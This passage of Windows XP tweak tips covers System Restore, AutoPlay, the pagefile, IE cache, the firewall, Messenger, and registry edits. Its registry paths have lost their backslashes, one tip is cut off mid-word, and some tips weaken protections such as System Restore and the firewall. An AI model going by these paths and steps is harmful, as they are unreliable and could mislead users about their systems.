other files will be named Birthday (11), Birthday (12), and so on. turn of syst
em recovery Right click on My Computer and choose Properties. Click on the Syste
m Restore tab and check the box Turn off System Restore. (This will increase Win
dows performance & save disk space) turn of auto play Open My Computer - Right c
lick on your CD ROM and choose Properties - Click on the Auto Play tab - In the
drop down box you can choose the Action for each choice shown in the drop down b
ox Or 1. 2. 3. 4. Go to Start>Run>gpedit.msc Computer Config> Administrative Tem
plate> System Double click Turn off Autoplay Enable it.
scan disk It is now hidden.To use it >Go to >my Computer >Right click on your ha
rd drive Icon >Properties >Tools >Error-checking.
It works just like the old scandisk. WinXP Clear Page file on shutdown Go to Con
trol panel> Administrative tools> Local security policy.> Then go to local polic
ies.> security options. Then change the option for "Shutdown: Clear Virtual Memo
ry Pagefile" reduce temp internet files space The temporary internet files clutt
er your hard drive with copies of each page visited. These can build up over tim
e and take up disk space. Even more bothersome is that instead of getting new pa
ges each time IE often takes the page out the temp internet files. This can be a
problem if you are viewing a website that is updated all the time. If you are o
n a slow connection such as a 56K or lower then this can be good but if you are
on a fast broadband connection, like me, then you can get away with decreasing t
he size of your temp internet files to just one meg without any performance decr
ease. Launch Internet Explorer. Select the Tools from the menu bar. Then select
Internet Options... from the drop down menu. Once the internet options has loade
d click on the general tab. Under the temporary internet files section click the
settings button. A settings window will load. Slide the slider all the way to t
he left so the size indicated in the text box on the right is one. Click OK enab
le/disable firewall Open Control Panel and double click on Network Connections.
In the new box that appears right click on the Connection and click on the Advan
ced tab. Check or uncheck the box according t close windows messenger Start>Run>
"gpedit.msc"" -Computer Configuration -Administrative Templates -Windows Compone
nts -Windows Messenger Here you can enable "Do not allow Windows Messenger to be
run" and "Do not automatically start Windows Messenger initially" remove shortc
ut arrow from desktop icons Here's how you can remove those shortcut arrows from
your desktop icons in Windows XP. 1. Start regedit. 2. Navigate to HKEY_CLASSES
_ROOTlnkfile 3. Delete the IsShortcut registry value. You may need to restart Wi
ndows XP. CHANGE THE TEXT IN "IE" TITLE BAR n regedit navigate to this key:
HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain change the value of the
string "Window Title" to whatever you want on the title bar of Internet Explorer
- to have no title except the title of the web pages you are browsing do not en
ter anything for a value DISABLE ERROR REPORTING Open Control Panel Click on Per
formance and Maintenance. Click on System. Then click on the Advanced tab Click
on the error-reporting button on the bottom of the windows. Select Disable error
reporting. Click OK CHECK THE FIRMWARE VERSION OF YOUR DRIVES Right click on My
Computer Click on Manage Click on Storage and expand the list. Removable Storag
e/Libraries Right click on your drive and click on property Click on the 2nd tab
which is called "Device Information"